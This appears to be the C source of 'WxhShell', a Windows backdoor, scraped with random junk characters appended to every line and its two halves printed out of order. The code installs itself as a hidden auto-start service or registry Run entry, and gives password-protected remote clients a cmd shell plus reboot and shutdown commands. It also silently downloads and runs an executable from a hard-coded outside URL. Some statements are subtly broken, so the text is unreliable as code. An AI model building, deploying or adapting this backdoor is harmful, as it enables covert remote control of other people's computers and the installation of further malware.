    closesocket(wsh); t7*H8  
    ExitThread(0); Hq"<vp  
    } _A~~L6C  
    break; v,!Y=8~9  
    } s:m<(8WRw  
  // 获取shell tsSS31cv  
  case 's': { eN2k8=  
    CmdShell(wsh); 5>4A}hSe  
    closesocket(wsh); 3 q.[-.q  
    ExitThread(0); Fgc:6<MGM  
    break; _1>(GK5[  
  } >m_ p\$_  
  // 退出 ;SlS!6.W-  
  case 'x': { jN'fm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $jm>tW&;  
    CloseIt(wsh); u{{xnyl?  
    break; #iqhm,u7D  
    } yOn2}Z  
  // 离开 8NF;k5   
  case 'q': { ttAVB{kdo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hiK[!9r  
    closesocket(wsh); 2 Zjb/  
    WSACleanup(); ,T21z}r  
    exit(1); !ovZ>,1  
    break; cJ(zidf_$  
        } 1R+ )T'in  
  } c^[1]'y  
  } (zTI)EV  
= "hY{RUa  
  // 提示信息 s>M~g,xTU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yY@ s(:  
} +'&_V011<  
  } I}G}+0geV  
/YugQ.>| l  
  return; }Cq9{0by?a  
} >s 8:1l  
j2{,1hj  
// shell模块句柄 l]kl V+9t  
int CmdShell(SOCKET sock) Bg+]_:<U  
{ s=%+o& B  
STARTUPINFO si; J:-TINeB  
ZeroMemory(&si,sizeof(si)); J%O4IcE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tx1m36a"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5dNf$a0E  
PROCESS_INFORMATION ProcessInfo; m|cWX"#g  
char cmdline[]="cmd"; b\|p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "/K&qj  
  return 0; w<F;&' ;@h  
} )zLS,/pk^  
f w>Gx9  
// 自身启动模式 M_.,c Vk  
int StartFromService(void) tU2to V  
{ 8|-mzb&  
typedef struct ,, H$>r_;  
{ T~~$=vP9  
  DWORD ExitStatus; `Py= ?[cD  
  DWORD PebBaseAddress; )Fr;'JYC1S  
  DWORD AffinityMask; ^B6i6]Pd=9  
  DWORD BasePriority; \|>`z,;  
  ULONG UniqueProcessId; a^}P_hg}-  
  ULONG InheritedFromUniqueProcessId; J0*]6oD!  
}   PROCESS_BASIC_INFORMATION; Nec(^|[   
+D-+}&oW  
PROCNTQSIP NtQueryInformationProcess; \F+o=  
>LaL! PnZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1q233QSW)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =&*QT&e  
qL;T&h  
  HANDLE             hProcess; `=l{kBZT|  
  PROCESS_BASIC_INFORMATION pbi; ]E8<;t)#  
6RT0\^X*:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >\oJ&gdc  
  if(NULL == hInst ) return 0; I&NpN~AU  
U!I_i*:U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {LJ6't 8y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H{A| ~V)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ho._&az9cT  
 jnKM6%z  
  if (!NtQueryInformationProcess) return 0; ch8w'  
B[_bJ *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >0+|0ba  
  if(!hProcess) return 0; v7OV;e a$  
.fh?=B[o#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M^JZ]W(  
dVG UhXN6  
  CloseHandle(hProcess); *=If1qZs  
^Er`{|o6u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oY6|h3T=Q$  
if(hProcess==NULL) return 0; NUnc"@  
@)'@LF1Z  
HMODULE hMod; F)iG D~  
char procName[255];  nIDsCu=A  
unsigned long cbNeeded; <C96]}/ ?  
k42ur)pb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sv6U%qV  
DMxS-hl  
  CloseHandle(hProcess);  t-x"(  
Oi[9b  
if(strstr(procName,"services")) return 1; // 以服务启动 &?Z)V-1H  
2GKU9cV*`  
  return 0; // 注册表启动 -hR\Y 2?  
} ;I))gY-n  
DfzUGX  
// 主模块 l5OV!<7~X  
int StartWxhshell(LPSTR lpCmdLine) iai4$Y(%  
{ u,,WD  
  SOCKET wsl; Hi" n GH  
BOOL val=TRUE; l}-`E@w  
  int port=0; /Vd#q)b%T  
  struct sockaddr_in door; 1Da [!^u,D  
_xL&sy09t  
  if(wscfg.ws_autoins) Install(); 3jeV4|  
m"7R 4O  
port=atoi(lpCmdLine); n_&)VF#n(  
%s :  
if(port<=0) port=wscfg.ws_port; A-Pwi.$  
2 Yd~v|  
  WSADATA data; O*/-I pM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GJt9hDM$0  
2&K|~~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <H@!Xw;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E1ob+h:`d  
  door.sin_family = AF_INET; f=O>\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g+r{>x  
  door.sin_port = htons(port); BCZnF /Zo  
PZg]zz=V4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uvv-lAbjw  
closesocket(wsl); >upUY(3&  
return 1; RkP|_Bf8)  
} $5CY<,f  
9x^ /kAB  
  if(listen(wsl,2) == INVALID_SOCKET) { m:Cx~  
closesocket(wsl); 'L59\y8H  
return 1; "v(]"L  
} `/ReJj&~  
  Wxhshell(wsl); uWtS83i  
  WSACleanup(); 2pNJWYW"  
"_@+/Iy.  
return 0; _"bvT?|  
$<% nt  
} -t'oW*kdL  
vk+%#w  
// 以NT服务方式启动 ZjW| qb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F8;4Oj  
{ s^R2jueR  
DWORD   status = 0; E^W*'D  
  DWORD   specificError = 0xfffffff; >P"/ nS"nn  
x2c*k$<p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A?k,}~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'wlP`7&Tn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7.rZ%1N  
  serviceStatus.dwWin32ExitCode     = 0; J3S+| x h~  
  serviceStatus.dwServiceSpecificExitCode = 0; ^K8a#-  
  serviceStatus.dwCheckPoint       = 0; |8{iIvi/  
  serviceStatus.dwWaitHint       = 0; YgOgYo{E!  
9}$dwl(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D c.WvUM  
  if (hServiceStatusHandle==0) return; j =%-b]  
3Il/3\  
status = GetLastError(); afq +;Sh  
  if (status!=NO_ERROR) n(O p<  
{ )^#Zg8L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {&qsh9ob  
    serviceStatus.dwCheckPoint       = 0; L\CM);y  
    serviceStatus.dwWaitHint       = 0; PH!B /D5G  
    serviceStatus.dwWin32ExitCode     = status; G/44gKl  
    serviceStatus.dwServiceSpecificExitCode = specificError; * t9qH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vm}.gQ  
    return; 1V$B^/_  
  } -"9)c^KVx  
']e4 !  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xtnmh)'K~#  
  serviceStatus.dwCheckPoint       = 0; 5<?$/H|7T  
  serviceStatus.dwWaitHint       = 0; b=\3N3OX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F ) ~pw  
} W%Q>< 'c  
>Nl~"J|]q  
// 处理NT服务事件,比如:启动、停止 >M85xjXP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S%#Mu|  
{ ,8 ?*U]}  
switch(fdwControl) 1U9N8{xg9  
{ HTpd~W/\  
case SERVICE_CONTROL_STOP: 48rYs}  
  serviceStatus.dwWin32ExitCode = 0; DI[^H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~M1%,]  
  serviceStatus.dwCheckPoint   = 0; _!1c.[ \T  
  serviceStatus.dwWaitHint     = 0; Xb 1^Oj  
  { ;K-t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :S6 <v0`Z  
  } vJ}  
  return; urjp&L&  
case SERVICE_CONTROL_PAUSE: &Sp:?I-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RW8u0 ?b  
  break; <{Wa[1D  
case SERVICE_CONTROL_CONTINUE: 8k'em/M~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v~QZO4[ '  
  break; ]r5Xp#q2  
case SERVICE_CONTROL_INTERROGATE: 1 K',Vw_  
  break; iqP0=(^m  
}; x l=|]8w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )PNk O3  
} 90D.G_45  
X]%4QIeS  
// 标准应用程序主函数 o;/F=Zp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w*@Z-'(j  
{ Ggjb86v\  
vG:,oB}  
// 获取操作系统版本 v3#47F)  
OsIsNt=GetOsVer(); n:z>l,`C]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?KW?] o  
s5#g[}dj  
  // 从命令行安装 824%]i3  
  if(strpbrk(lpCmdLine,"iI")) Install(); MRu+:Y=K  
S@-X?Lu  
  // 下载执行文件 YP97D n  
if(wscfg.ws_downexe) { ]HT>-Ba;{h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .gg0:  
  WinExec(wscfg.ws_filenam,SW_HIDE); KO$8lMm$  
} @cNI|T  
#]^`BQ>  
if(!OsIsNt) { ueo3i1  
// 如果时win9x,隐藏进程并且设置为注册表启动 "+Rm4_  
HideProc(); 9j9?;3;  
StartWxhshell(lpCmdLine); C,.{y`s'  
} oD`BX  
else Yy1Pipv  
  if(StartFromService()) ||NCVGJG  
  // 以服务方式启动 C.p*mO&N  
  StartServiceCtrlDispatcher(DispatchTable); w=2 X[V}  
else ]TN}` ]  
  // 普通方式启动 @Q5^Q'!  
  StartWxhshell(lpCmdLine); "<b84?V5  
Vdyx74xX  
return 0; H-lRgJdc  
} \/zS@fz  
yY|U}]u!V  
LnIJ wD  
X / "H+l  
=========================================== W0hLh<Go  
cH ?]uu(  
)~kb 7rfl  
qIp`'.#m  
EB,>k1IJ  
!{\c`Z<#  
" [r'M_foga*  
B9\o:eY  
#include <stdio.h> 7G2N&v>  
#include <string.h> ZrBxEf$f  
#include <windows.h> % VZ\4+8S  
#include <winsock2.h> >48Y-w  
#include <winsvc.h> ><^@1z.J  
#include <urlmon.h> 4 -W?u51"  
h~t]WN  
#pragma comment (lib, "Ws2_32.lib") B[h9epU]K  
#pragma comment (lib, "urlmon.lib") E>v~B;@  
E"!*ASN  
#define MAX_USER   100 // 最大客户端连接数 beoMLHp  
#define BUF_SOCK   200 // sock buffer so?1lG  
#define KEY_BUFF   255 // 输入 buffer }o.ZCACYg  
c:5BQr '  
#define REBOOT     0   // 重启 ]T`qPIf;yJ  
#define SHUTDOWN   1   // 关机 .=S{  
)vzT\dQ|  
#define DEF_PORT   5000 // 监听端口 @"0qS:s]X  
aleIy}"  
#define REG_LEN     16   // 注册表键长度 2{\Y<%.  
#define SVC_LEN     80   // NT服务名长度 }_x oT9HUr  
8%B @[YDe  
// 从dll定义API t~`Ef  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( d.i np(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >6j`ZWab>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zQJbZ=5Bu"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b%F*Nr  
x&wUPo{  
// wxhshell配置信息 d=XhOC$  
struct WSCFG { |@nXlZE  
  int ws_port;         // 监听端口 z=sqO'~  
  char ws_passstr[REG_LEN]; // 口令 ufOaD7  
  int ws_autoins;       // 安装标记, 1=yes 0=no <j' #mUzd  
  char ws_regname[REG_LEN]; // 注册表键名 `P~RG.HO  
  char ws_svcname[REG_LEN]; // 服务名 (;3jmdJhK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1GxYuTZ{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2o;M:+KQ)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A{vG@Pwc:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {3>^nMv@e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vPi+8)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M DpXth7  
"%Ak[04'  
};  %JZIg!  
)_ uK(UNZ5  
// default Wxhshell configuration 7E'C o|  
struct WSCFG wscfg={DEF_PORT, s*@.qN  
    "xuhuanlingzhe", [+GG Wo  
    1, &!=3Fbn  
    "Wxhshell", g;pymz  
    "Wxhshell", sAxn ; `  
            "WxhShell Service", -eya$C  
    "Wrsky Windows CmdShell Service", 2#^[`sFPO  
    "Please Input Your Password: ", P\R3/g  
  1, T+fU +GLD  
  "http://www.wrsky.com/wxhshell.exe", ~zx-'sc?  
  "Wxhshell.exe" d?>sy\{2  
    }; 4ET P  
=Ev } v  
// 消息定义模块 q b'ka+X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a Sj$62G"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; | v+b?@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >jcNo3S  
char *msg_ws_ext="\n\rExit."; wJ}8y4O!N  
char *msg_ws_end="\n\rQuit."; @S}'_g  
char *msg_ws_boot="\n\rReboot..."; S=Zjdbd  
char *msg_ws_poff="\n\rShutdown..."; P~&X$H%e  
char *msg_ws_down="\n\rSave to "; T-MLW=Vu  
Yr!3mU-Uvt  
char *msg_ws_err="\n\rErr!"; p0/I}n4<5n  
char *msg_ws_ok="\n\rOK!"; >9DgsA`'  
AjpQb ~\  
char ExeFile[MAX_PATH]; 1g@kHq  
int nUser = 0; lUrchLoDt  
HANDLE handles[MAX_USER]; rRMC< .=  
int OsIsNt; vDemY"wz  
S=o/n4@}  
SERVICE_STATUS       serviceStatus; E5rNC/Ul$$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pD{Li\LY  
1+]e?  
// 函数声明 i^8Zp;O"f  
int Install(void); h1"#DnK7  
int Uninstall(void); ' ySWf,Q^  
int DownloadFile(char *sURL, SOCKET wsh); 6Z3v]X  
int Boot(int flag); ,J[sg7v cv  
void HideProc(void); L6FUC6x"  
int GetOsVer(void); r8qee$^M  
int Wxhshell(SOCKET wsl); 607#d):Y  
void TalkWithClient(void *cs); hZy"@y3Yq  
int CmdShell(SOCKET sock); l4; LV7Ji  
int StartFromService(void); %n( s;/_  
int StartWxhshell(LPSTR lpCmdLine); jE{z4en  
jN[Z mJz'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nQ mkDPjU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *I~F7Z]|  
e= '3gzz  
// 数据结构和表定义 a*=e 3nS  
SERVICE_TABLE_ENTRY DispatchTable[] = ,}NG@JID  
{ k;%}%"EVZ  
{wscfg.ws_svcname, NTServiceMain}, q+N}AKawB  
{NULL, NULL} &B) F_EI  
}; Jyd%!v  
\"5\hX~dS  
// 自我安装 Yz,*Q<t  
int Install(void) *yB!^O  
{ ,[A} 86  
  char svExeFile[MAX_PATH]; JO _a+Yl  
  HKEY key; 5~qr+la  
  strcpy(svExeFile,ExeFile); `/"z.~8  
$T1c{T6n}  
// 如果是win9x系统,修改注册表设为自启动 #pf}q+A  
if(!OsIsNt) { hM;EUWv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0j3j/={|.1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z*JZ Ubo-Q  
  RegCloseKey(key); C?z C|0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (bXCc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i22R3&C  
  RegCloseKey(key); Q (`IiV   
  return 0; Na#2sb[)  
    } /OViqZ;9  
  } "zr%Q'Ky  
} R (6Jvub"I  
else { /GEqU^ B  
:r|dXW  
// 如果是NT以上系统,安装为系统服务 bO-8<IjC_3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p{.EFa>H  
if (schSCManager!=0) ?g9CeeH*  
{ [}FP_Su$6  
  SC_HANDLE schService = CreateService ~!UxmYgO  
  ( \A':}<Rj  
  schSCManager, Y*4\K%e(  
  wscfg.ws_svcname, ~ejHA~QC  
  wscfg.ws_svcdisp, Bs^W0K$uBO  
  SERVICE_ALL_ACCESS, k%hif8y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9!o:)99U  
  SERVICE_AUTO_START, iK)w3S}k1y  
  SERVICE_ERROR_NORMAL, )]v vp{  
  svExeFile, i^ 1P6B  
  NULL, ak<?Eu9rV  
  NULL, @mW0EJ8bb  
  NULL,  Wkf)4!  
  NULL, !I:6L7HdwB  
  NULL gbo{Zgf<  
  ); !j\  yt  
  if (schService!=0) ~fr1O`8  
  { jLZ+HYyG9  
  CloseServiceHandle(schService); U,)+wZJ  
  CloseServiceHandle(schSCManager); Dtn|$g,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +&JF|#FQ`  
  strcat(svExeFile,wscfg.ws_svcname); puDy&T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rGx1>xd(k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (R.k.,z  
  RegCloseKey(key); r0_3`; H  
  return 0; +-5CM0*&  
    } bE0cW'6r  
  } a}MOhM6T  
  CloseServiceHandle(schSCManager); >/Slk {  
} 7qu hp\  
} &7}-Xvc  
HAP9XC(F]  
return 1; O75ioO0  
} D*heYh  
BoFJ8Ukq|  
// 自我卸载 7HFw*;  
int Uninstall(void) oU67<jq  
{ AM\`v'I*6  
  HKEY key; 1Hzj-u&N/  
<` HLG2  
if(!OsIsNt) { g(|p/%H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cLX~NPD/  
  RegDeleteValue(key,wscfg.ws_regname); C#;}U51:t  
  RegCloseKey(key);  :;rd!)5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u2o6EU`  
  RegDeleteValue(key,wscfg.ws_regname); :*Sl\:_X)  
  RegCloseKey(key); XVE(p3-  
  return 0; z9E*Mh(NE  
  } E}yl@8g:#  
} r*y4Vx7  
} 'Ko T8g\b  
else { 2#ypM9  
aZ- )w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zPZy#7/A  
if (schSCManager!=0) `2 Z  
{ J/WPffqD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jg' 'T1)  
  if (schService!=0) 0lY.z$V  
  { b1E>LrL  
  if(DeleteService(schService)!=0) { "rBo?%:  
  CloseServiceHandle(schService); !y `wAm>n  
  CloseServiceHandle(schSCManager); ,C!MHn^$  
  return 0; a'W-&j  
  } -g_PJ.Hk  
  CloseServiceHandle(schService); C {gYrz)  
  } Vtr 0=-m&  
  CloseServiceHandle(schSCManager); LBbk]I  
} x_AG=5OJX,  
} { +MqXeq  
,,lrF.  
return 1; PudwcP {  
} ,\xeNUZd  
8.F]&D0p8  
// 从指定url下载文件 cC b'z1  
int DownloadFile(char *sURL, SOCKET wsh) P]1`=-  
{ 02SFFqm  
  HRESULT hr; $D<LND=o=  
char seps[]= "/"; _L<IxOZh+  
char *token; FNtcI7  
char *file; 44]/rP_m  
char myURL[MAX_PATH]; 9^x'x@6  
char myFILE[MAX_PATH]; &qF   
Q3'\Vj,S&  
strcpy(myURL,sURL); FlgK:=Fmj  
  token=strtok(myURL,seps);  UcKpid  
  while(token!=NULL) I~gU3(  
  { [r<lAS{ .  
    file=token; hZU @35~BN  
  token=strtok(NULL,seps); +'x|VPY.PG  
  } ,FlF.pt  
BMgiXdv.B  
GetCurrentDirectory(MAX_PATH,myFILE); h,LwC9  
strcat(myFILE, "\\"); ,=.&  
strcat(myFILE, file); #EgFB}>1  
  send(wsh,myFILE,strlen(myFILE),0); 2*ZB[5_V  
send(wsh,"...",3,0); ag+$qU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +W x/zo  
  if(hr==S_OK) ]9pK^<  
return 0; OjcxD5"v9  
else ckHHD|  
return 1; p;,Cvw{.;%  
4en[!*  
} Hw-,sze j"  
i?.MD+f8  
// 系统电源模块 /\q1,}M  
int Boot(int flag) *VmJydd  
{ mQ*:?\@  
  HANDLE hToken; pdUrVmW"'  
  TOKEN_PRIVILEGES tkp; (&npr96f  
:<=A1>&8  
  if(OsIsNt) { D~P I_*h.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9TuE.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z<YOA  
    tkp.PrivilegeCount = 1; tsaf|xe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^rO3B?_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0p YO-@E  
if(flag==REBOOT) { 2m7Z:b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 38ChS.(  
  return 0; %9cu(yc*}  
} 8q58H[/c  
else { Oc8]A=M12  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r+r-[z D(  
  return 0; ;5urIYd  
} xXp$Nm]:  
  } ckY,6e"6  
  else { ( qG | .a  
if(flag==REBOOT) { PQ9.aJdw@-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p~1!O]qLt  
  return 0; + KGZk?%  
} #+I)<a7\  
else { ]k &Y )  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "ph&hd}S  
  return 0; J{<,V\t)  
} ;<i`6e  
} c'ExZ)RJ  
J\VG/)E  
return 1; ^LO=&Cq  
} {y-7xg~}  
~?T*D*  
// win9x进程隐藏模块 #z$FxZT<b  
void HideProc(void) +0lvQVdp}  
{ x=7hOI5u  
c 4xh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g b:)t }|  
  if ( hKernel != NULL ) >T: Yp<  
  { %P05k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6P@3UQ)}s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8#b>4 Dx  
    FreeLibrary(hKernel); $Pv;>fHu  
  } m/vwM"  
wju2xM  
return; 9,g &EnvG  
} I[E/)R{\  
IWbW=0IsS  
// 获取操作系统版本 |a/1mUxQ&  
int GetOsVer(void) ug47JW  
{ "9mJ$us  
  OSVERSIONINFO winfo; gwHNz5 a*V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TNs ;#Q  
  GetVersionEx(&winfo); }$EcNm$%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,-,BtfE3  
  return 1; yv2BbrYyy  
  else B^`'2$3  
  return 0; jF4h/((|EU  
} H]>b<Cs  
z@5t7e)!R  
// 客户端句柄模块 (9R;a np  
int Wxhshell(SOCKET wsl) ~{MmUp rS  
{ gQHE2$i>  
  SOCKET wsh; l'h[wwEXm{  
  struct sockaddr_in client; ~&)  
  DWORD myID; Rf7*Ut wVr  
2pa: 3O  
  while(nUser<MAX_USER) %{'hpT~h  
{ cEzWIS?pp\  
  int nSize=sizeof(client); N#<h/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KFxy,Z$-4  
  if(wsh==INVALID_SOCKET) return 1; k\,01Y^  
;;4xpg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u`GzYG-L  
if(handles[nUser]==0) GR&T Z   
  closesocket(wsh); -UgD  
else pi`sx[T@{Z  
  nUser++; zSs5F_  
  } #IH7WaN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;yh}$)^9  
PP{2{  
  return 0; 0>PO4WFVJ  
} &Z Ja}5k!r  
?Uz7($}  
// 关闭 socket 'J*)o<%  
void CloseIt(SOCKET wsh) QvB]?D#h  
{ tTa" JXG  
closesocket(wsh); ,1>ABz  
nUser--; X[pk9mha  
ExitThread(0); qSj$0Hq5XI  
} p_z_d6?  
ZUE?19GA  
// 客户端请求句柄 ^'"sFEV7RN  
void TalkWithClient(void *cs) WR;"^<i9  
{ .^]=h#[e  
>C|/%$kk:f  
  SOCKET wsh=(SOCKET)cs; %) -5'l<  
  char pwd[SVC_LEN]; n|,kL!++.  
  char cmd[KEY_BUFF]; etbB;!6  
char chr[1]; 5tyr$P! N  
int i,j; 6.fahg?E  
ep]tio_  
  while (nUser < MAX_USER) { Q{9#Am^6w  
xHN"7j}h  
if(wscfg.ws_passstr) { M[9]t("  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y7 tK>aD}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C`|'+  
  //ZeroMemory(pwd,KEY_BUFF); {eR,a-D!7  
      i=0; d9/YW#tm  
  while(i<SVC_LEN) { Y)% CxaO `  
[[fhfV+H  
  // 设置超时 K<`"Sr  
  fd_set FdRead; 71GLqn?  
  struct timeval TimeOut; Oh9jr"Gm=  
  FD_ZERO(&FdRead); :hB 8hTw]p  
  FD_SET(wsh,&FdRead); -u6`B -T  
  TimeOut.tv_sec=8; 23a&m04Rk  
  TimeOut.tv_usec=0; YE#OAfj~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "WKE% f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J?Kgev%  
!?Tu pi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n1Ag o3NM  
  pwd=chr[0]; LGb.>O^  
  if(chr[0]==0xd || chr[0]==0xa) { ebF},Q(48  
  pwd=0; k]*DuVCOX  
  break; #]`ejr:2O  
  } .F=15A  
  i++; 8.vPh  
    } GvQ|+vC  
'WH@Zk/l  
  // 如果是非法用户,关闭 socket M5OH-'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w+vYD2 a  
} d7o~$4h|  
kTQ`$V(>&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ad|@Bh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h%kB>E~  
G7lC'~}  
while(1) { N"~P` H![x  
E.Hw|y0_(|  
  ZeroMemory(cmd,KEY_BUFF); Q}!U4!{i|p  
-Kt36:|  
      // 自动支持客户端 telnet标准   _tE$a3`  
  j=0; mea]m)P  
  while(j<KEY_BUFF) { Q$iGpTL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ku,Y-  
  cmd[j]=chr[0]; o5+N_5OE}E  
  if(chr[0]==0xa || chr[0]==0xd) { Hl&]r'bK  
  cmd[j]=0; !:3NPjhf1Y  
  break; BaIh,iu  
  } QsYc 9]:  
  j++; _\ n'uW$  
    } ,cm;A'4]  
DBi3 j  
  // 下载文件 v ~73  
  if(strstr(cmd,"http://")) { 5Am*1S^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &libC>a[  
  if(DownloadFile(cmd,wsh)) 3"'|Ql.H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]3#_BL)M8p  
  else U[~BW[[@f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r8C6bFYM  
  } *>.~f<V  
  else { `xbk)oW#  
EAFKf*K=  
    switch(cmd[0]) { w&;\}IS  
  lfR"22t  
  // 帮助 ?7:"D e  
  case '?': { hMw}[6m  
